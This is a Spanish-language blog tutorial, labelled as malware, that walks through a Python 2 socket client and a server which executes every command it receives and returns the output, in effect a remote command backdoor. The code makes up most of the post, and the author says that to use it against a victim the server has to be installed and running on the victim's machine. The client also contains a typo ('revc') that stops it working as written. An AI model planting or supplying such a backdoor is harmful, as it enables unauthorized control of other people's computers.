Creando un Servidor & Cliente en Python -Malware-


    En esta ocasión veremos algo que para muchos es algo muy sencillo pero de mucha utilidad a la hora de realizar una pentesting o tomar control de un equipo. Cuando hablamos de tomar control de un equipo mediante una shell para ejecutar comandos en realidad lo que estamos haciendo es una conexión cliente y servidor. En este caso el servidor seria la víctima y nosotros el cliente los cuales les enviaremos ordenes a seguir a dicho server.

Bien les mostrare como crear una conexión cliente y servidor en python y ejecutar comandos para que este nos devuelva los resultados.


Primero creamos nuestro cliente.py


importamos la libreria socket

import socket

Luego crearemos una variable que determinara el protocolo y el tipo de socket, creamos 1 variable la cual será servidor y puerto, esta debe tener los mismos valores que tendrá nuestro servidor.

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

clientsocket.connect(('localhost',5353))

En servidor coloque mi ip local y para el puerto escoji el 5353.

Recordemos que los parámetros deben ser iguales a los que usaremos en el servidor para que puedan comunicarse correctamente.

while True:
    data = raw_input("-> ")
    clientsocket.send(data)
    data = clientsocket.revc(1024)
    print 'servido: %s' % data
    if not data: break
clientsocket.close()

Lo que hicimos aqui fue crear un bucle infinito para mantener la concesión con el servidor y creamos una variable llamada data la cual obtendrá los comandos que se ejecutan en dicho server.

Código cliente.py completo.

import socket

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

clientsocket.connect(('localhost',5353))

while True:
    data = raw_input("-> ")
    clientsocket.send(data)
    data = clientsocket.revc(1024)
    print 'servido: %s' % data
    if not data: break
clientsocket.close()


Ahora creamos el server.py

importamos la libreria socket y la libreria commands. Creamos una variable de respuesta la cual le asignaremos el valor de la petición del cliente. El cual se guardara en commands.getoutout lo que hará que se ejecute en comando en el sistema.


import socket
import commands

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

serversocket.bind(('localhost', 5353))

serversocket.listen(1)

clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress

serversocket.bind debe tener los mismos parámetros que le dimos en el cliente debido a que estamos especificando a la ip a la que nos conectaremos desde dicho cliente al igual que el puerto. Luego le decimos las conexiones en espera las cuales yo le di que seria 1.


Ahora creamos un bucle infinito para el servidor y creamos la variable que recibirá los datos luego con la variable respuesta la cual guardara el mensaje que el cliente envía(el comando) para ejecutarlo en el sistema y enviar los resultados de dicho comando.

while True:

    data = clientsocket.recv(1024)
    print 'cliente %s' % data
    respuesta = commands.getoutput(data)
    clientsocket.send(respuesta)
    if not respuesta: break

clientsocket.close()

codigo server.py completo.


import socket
import commands

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

serversocket.bind(('localhost', 5353))

serversocket.listen(1)

clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress

while True:

    data = clientsocket.recv(1024)
    print 'cliente %s' % data
    respuesta = commands.getoutput(data)
    clientsocket.send(respuesta)
    if not respuesta: break

clientsocket.close()


Listo ahora ejecutamos el server primero, luego el client y le enviamos un comando al servidor. Por ejemplo usare ifconfig.



Listo nos mostrara la información de las interfaces. En caso de usar esto en contra de una víctima tendríamos que instalar el servidor en su maquina y este debe de estar ejecutado para que el cliente pueda conectarse.

Espero que les haya gustado y sido de ayuda, no olviden compartir y suscribirse.



No hay comentarios.